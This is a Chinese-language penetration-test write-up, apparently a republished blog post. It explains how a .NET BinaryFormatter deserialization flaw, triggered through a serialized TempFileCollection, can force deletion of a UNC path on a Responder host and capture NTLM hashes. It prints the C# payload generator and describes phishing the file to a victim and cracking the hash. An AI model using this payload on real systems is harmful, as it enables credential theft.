溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

怎樣利用.NET反序列化漏洞獲取NTLM Hashes

發(fā)布時(shí)間:2021-10-28 09:23:12 來(lái)源:億速云 閱讀:168 作者:柒染 欄目:編程語(yǔ)言

這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)?lái)有關(guān)怎樣利用.NET反序列化漏洞獲取NTLM Hashes,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

在最近的一次滲透測(cè)試中,我們遇到了一個(gè)用來(lái)獲取管理員憑據(jù)的有趣技術(shù)(當(dāng)然,NTLM散列已被破解)。這次攻擊并沒(méi)有什么特別新的東西,它需要特殊的條件才能實(shí)現(xiàn),但我們認(rèn)為這足讓我們把它分享出來(lái)。在mediaservice.net博客上Gianluca Baldi最近發(fā)布的一篇博客文章中,也描述了非常類似的技術(shù)。我們發(fā)現(xiàn)我們能夠做一些非常相似的事情,但針對(duì)利用的不是XXE而是.net反序列化漏洞。

當(dāng)用戶加載惡意文件時(shí)會(huì)觸發(fā)此特定漏洞,因此需要用戶交互,但在網(wǎng)絡(luò)中可訪問(wèn)的應(yīng)用程序中可能存在類似的漏洞。 這完全取決于數(shù)據(jù)的反序列化位置。

反序列化基礎(chǔ)

反序列化是任何執(zhí)行大量應(yīng)用程序或Web應(yīng)用程序安全測(cè)試的人都應(yīng)該熟悉的東西。通常在Java環(huán)境中討論,反序列化漏洞是許多應(yīng)用程序(包括.NET應(yīng)用程序)中都有可能會(huì)出現(xiàn)的漏洞。

對(duì)于那些不太熟悉的人來(lái)說(shuō),序列化就是將一個(gè)對(duì)象轉(zhuǎn)換成一個(gè)字節(jié)流的過(guò)程,這樣就可以輕松保存在磁盤文件或數(shù)據(jù)庫(kù)中。反序列化是序列化的逆過(guò)程;通常這可以用于兩個(gè)應(yīng)用程序(可能位于不同主機(jī)上)間通信的RPC。當(dāng)應(yīng)用程序的狀態(tài)需要保存時(shí)(這也很常見),序列化的數(shù)據(jù)會(huì)被寫入磁盤并在之后進(jìn)行恢復(fù)。

我們可以通過(guò)下面的例子看到這一點(diǎn)。

using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
namespace serialisationTest1
{
    [Serializable]
    class MyClass
    {
        private int x = 1;
        private int y = 2;
        public string s = "Hello World";
        public MyClass() { Console.WriteLine("In Constructor"); }
        public void Method() { Console.WriteLine("Method()"); }
        public void Dispose()
        {
            Console.WriteLine("Disposing Object");
        }
    }
    class Program
    {
        static void Main(string[] args)
        {
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            MyClass myClass = new MyClass();
            using (FileStream fileStream = File.OpenWrite("save"))
            {
                binaryFormatter.Serialize(fileStream, myClass);
            }
        }
    }
}

這將創(chuàng)建一個(gè)文件并保存,我們可以在文本編輯器中查看。

怎樣利用.NET反序列化漏洞獲取NTLM Hashes

當(dāng)應(yīng)用程序?qū)Σ豢尚艛?shù)據(jù)進(jìn)行反序列化時(shí),有時(shí)可能會(huì)被攻擊者所利用。如果我們看一下上面的反序列化的對(duì)象,很明顯,雖然我們不能直接向應(yīng)用程序注入代碼,但是如果反序列化的對(duì)象在它的構(gòu)造函數(shù)中或在它的dispose方法中,我們或許能夠?qū)ζ溥M(jìn)行利用(即惡意的)- 當(dāng).NET對(duì)象被銷毀時(shí),垃圾回收器調(diào)用的方法。這是因?yàn)楫?dāng)進(jìn)行反序列化嘗試時(shí),實(shí)際上該對(duì)象確實(shí)被創(chuàng)建并銷毀,即使該對(duì)象由于類型錯(cuò)誤而無(wú)法使用。

漏洞

在測(cè)試中,我們發(fā)現(xiàn)桌面安裝了.NET應(yīng)用程序。盡管我們并不了解應(yīng)用程序的性質(zhì),但我們可以肯定的是它具有“保存”功能。為了保存,應(yīng)用程序用一個(gè)特定的對(duì)象并將其序列化到磁盤。之后它可以通過(guò)相反的方式加載這個(gè)保存的對(duì)象并反序列化它。

漏洞代碼類似于下面:

using System;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
namespace serialisationTest1
{
    class Program
    {
        static void Main(string[] args)
        {
            string saveFile = "save";
            MyClass myClass = null;
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            FileStream fileStream = File.OpenRead(saveFile);
            try {
                Object o = binaryFormatter.Deserialize(fileStream);
                myClass = (MyClass)o;
                myClass.Method();
            }
            catch (Exception) { }
        }
    }
}

如前所述,在這種特殊情況下,我們需要找到一個(gè)對(duì)象,它在創(chuàng)建或銷毀時(shí)會(huì)發(fā)揮一些有用的作用。

System.CodeDom.Compiler.TempFileCollection是.NET中的一個(gè)對(duì)象,用于刪除使用AddFile方法添加的文件。這已通過(guò)在特定位置(d:\file1)中創(chuàng)建文件,并將序列化的TempFileCollection用作應(yīng)用程序“保存”文件得到證實(shí)。反序列化的對(duì)象是使用以下代碼片段創(chuàng)建的:

static void Main(string[] args)
{
    BinaryFormatter binaryFormatter = new BinaryFormatter();
    TempFileCollection tempFileCollection = new TempFileCollection();
    tempFileCollection.AddFile("d:\\test",false);
    using (FileStream fileStream = File.OpenWrite("save"))
    {
    binaryFormatter.Serialize(fileStream, tempFileCollection);
    }
}

當(dāng)我們加載保存文件時(shí),應(yīng)用程序反序列化確實(shí)刪除了測(cè)試文件。這是一個(gè)很好的PoC,那么我們能再進(jìn)一步嗎?

獲取憑據(jù)

此時(shí),我們有一個(gè)應(yīng)用程序存在一個(gè)反序列化漏洞,當(dāng)打開一個(gè)保存文件時(shí)會(huì)觸發(fā)一個(gè)反序列化漏洞,并且一個(gè)可以反序列化的對(duì)象會(huì)刪除我們可以指定的文件。

如果從UNC路徑 (i.e. \\host\file)中讀取文件,Windows將嘗試使用服務(wù)器進(jìn)行身份驗(yàn)證。如果我們將已刪除的文件更改為運(yùn)行Responder的服務(wù)器上的UNC路徑,我們將能夠捕獲NTLM握手并嘗試破解密碼。

下面的.net代碼生成我們的payload:

static public void MakeObject()
{
    BinaryFormatter binaryFormatter = new BinaryFormatter();
    TempFileCollection tempFileCollection = new TempFileCollection();
    tempFileCollection.AddFile("\\\\<responderIP>\\test", false);
    using (FileStream fileStream = File.OpenWrite("save"))
    {
    binaryFormatter.Serialize(fileStream, tempFileCollection);
    }
}

然后,我們運(yùn)行Responder,將文件發(fā)送給用戶(通過(guò)網(wǎng)絡(luò)釣魚攻擊)并等待。不一會(huì)兒我們就獲取到了哈希,我們可以用于破解。

怎樣利用.NET反序列化漏洞獲取NTLM Hashes

基于我們強(qiáng)大的字典,以及目標(biāo)用戶脆弱的密碼策略,沒(méi)花多久時(shí)間我們便成功破解出了密碼。

上述就是小編為大家分享的怎樣利用.NET反序列化漏洞獲取NTLM Hashes了,如果剛好有類似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI